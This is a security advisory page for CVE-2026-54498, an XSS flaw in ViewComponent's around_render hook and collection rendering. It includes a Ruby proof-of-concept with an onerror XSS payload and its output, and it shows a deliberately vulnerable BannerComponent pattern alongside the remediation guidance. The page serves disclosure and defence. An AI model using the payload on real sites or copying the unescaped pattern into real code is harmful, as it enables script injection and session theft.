Skip to main content

ViewComponent CVE-2026-54498

| EUVDEUVD-2026-45333 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-07-15 https://github.com/ViewComponent/view_component GHSA-97jw-64cj-jc58
8.7
CVSS 3.1 · Vendor: https://github.com/ViewComponent/view_component
Share

Severity by source

Vendor (https://github.com/ViewComponent/view_component) PRIMARY
8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI
4.7 MEDIUM

Requires a non-default downstream pattern (around_render returning attacker data), so AC:H; unauthenticated attacker delivers payload but victim must view the page (PR:N/UI:R); XSS runs in the browser giving limited scope-changed confidentiality/integrity (S:C/C:L/I:L).

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (https://github.com/ViewComponent/view_component).

CVSS VectorVendor: https://github.com/ViewComponent/view_component

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 15, 2026 - 23:16 vuln.today
Analysis Generated
Jul 15, 2026 - 23:16 vuln.today
CVE Published
Jul 15, 2026 - 22:51 github-advisory
HIGH 8.7

DescriptionCVE.org

Summary

ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.

The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.

Affected Code

Validated against:

  • Repository commit: eea79445
  • Ruby: 3.4.9

Relevant locations:

  • lib/view_component/base.rb
  • render_in
  • around_render
  • __vc_maybe_escape_html
  • lib/view_component/template.rb
  • InlineCall#safe_method_name_call
  • lib/view_component/collection.rb
  • Collection#render_in

Key code paths:

ruby
# lib/view_component/base.rb
around_render do
  render_template_for(@__vc_requested_details).to_s
end
ruby
# lib/view_component/template.rb
proc do
  __vc_maybe_escape_html(send(m)) do
    Kernel.warn(...)
  end
end
ruby
# lib/view_component/collection.rb
components.map do |component|
  component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe

Root Cause

Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.

This creates two different output-safety behaviors:

  • #call returning unsafe string: escaped
  • #around_render returning unsafe string: raw

Collection rendering then amplifies the issue by calling .html_safe on the joined result.

Proof of Concept

Run from the repository root:

ruby
$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class PocController < ActionController::Base; end

def vc
  c = PocController.new
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeCallComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = @payload
end

class UnsafeAroundComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
  with_collection_parameter :payload
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

view_context = vc

normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)

puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"

c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"

Observed output:

text
normal_call=&lt;img src=x onerror=alert(1)&gt;
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x onerror=alert(1)>
collection_raw=true html_safe=true
controller_render_to_string=<img src=x onerror=alert(1)>
controller_raw=true html_safe=false

The control case confirms that normal #call output is escaped. The around_render cases confirm that the same payload is emitted raw.

Exploit Scenario

A downstream application defines a component that uses around_render for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.

Example vulnerable pattern:

ruby
class BannerComponent < ViewComponent::Base
  def initialize(message:)
    @message = message
  end

  def call
    "fallback"
  end

  def around_render
    "<div class=\"banner\">#{@message}</div>"
  end
end

If message is user-controlled, scriptable HTML reaches the browser.

Impact

Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:

  • session or token theft where cookies/tokens are accessible
  • authenticated actions as the victim
  • CSRF bypass through same-origin script execution
  • exfiltration of page data
  • credential phishing or UI redress inside trusted application origin

The collection path is particularly risky because it converts the joined raw output to html_safe, which can suppress later escaping.

Preconditions

  • The application defines or uses a component overriding around_render.
  • around_render returns or wraps attacker-influenced HTML-unsafe content.
  • The component is rendered in a browser-visible response.
  • Higher impact when rendered through ViewComponent::Collection or controller/direct rendering.

Chaining Potential

This finding can chain with:

  • preview routes or examples that accept URL parameters and render components
  • unsafe markdown or CMS content rendered inside around_render
  • CSP-disabled preview routes
  • applications that expose admin-only pages containing affected components

Remediation

Apply the same HTML-safety enforcement to around_render return values that is applied to normal inline #call output.

Possible approaches:

  1. Wrap the result of around_render with __vc_maybe_escape_html when the current template is HTML.
  2. Require around_render to return an ActiveSupport::SafeBuffer to opt into raw HTML.
  3. In collection rendering, avoid blindly calling .html_safe on joined component outputs unless each item has been normalized through the same safety boundary.

AnalysisAI

Stored/reflected XSS in the ViewComponent Rails gem (versions >= 4.0.0, < 4.12.0) arises because HTML-unsafe strings returned from a component's around_render hook bypass the automatic escaping applied to normal #call output, letting attacker-controlled data reach the browser as raw HTML. The flaw is amplified in collection rendering, where Collection#render_in joins per-item output and blindly marks it html_safe, laundering unsafe content into a trusted SafeBuffer. Publicly available exploit code exists (a detailed PoC in the GitHub advisory), but there is no public exploit identified as actively used in the wild; a vendor patch is available in v4.12.0.

Technical ContextAI

ViewComponent is a Rails view abstraction (packaged as pkg:rubygems/view_component) that renders reusable component objects. Normal inline #call return values are routed through __vc_maybe_escape_html, which escapes HTML-unsafe strings so raw markup cannot reach output. The around_render lifecycle hook - used to wrap, replace, instrument, or conditionally return rendered content - did not pass its return value through that same safety boundary, so a string returned from around_render became the render result verbatim. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) failure of an incomplete output-encoding boundary: two code paths for the same output had inconsistent escaping guarantees. The collection path (Collection#render_in in lib/view_component/collection.rb) compounded it by calling .join(...).html_safe on component outputs, converting raw unsafe strings into an ActiveSupport::SafeBuffer that suppresses downstream escaping.

RemediationAI

Vendor-released patch: 4.12.0 - upgrade the view_component gem to >= 4.12.0 (release https://github.com/ViewComponent/view_component/releases/tag/v4.12.0, fixing commit https://github.com/ViewComponent/view_component/commit/48e5fd2d602344c7d33019fbc5c8b087e315bb78), which now runs around_render return values through __vc_maybe_escape_html (emitting a warning) and switches Collection#render_in to safe_join so per-item output is escaped rather than laundered into a SafeBuffer. If you cannot upgrade immediately, audit every component that overrides around_render and ensure it returns an ActiveSupport::SafeBuffer only after explicitly escaping user-controlled data (wrap interpolated values with ERB::Util.html_escape or Rails' h/sanitize before building the string), which removes the raw-output risk at the cost of manually maintaining escaping; alternatively, move wrapping/instrumentation logic out of around_render and back into #call output so it inherits automatic escaping. As a further compensating control, harden Content-Security-Policy (disallow inline scripts and restrict script-src) on responses that render these components - note this mitigates script execution but not HTML-injection/UI-redress, and preview/example routes that disable CSP should be access-restricted.

Share

CVE-2026-54498 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy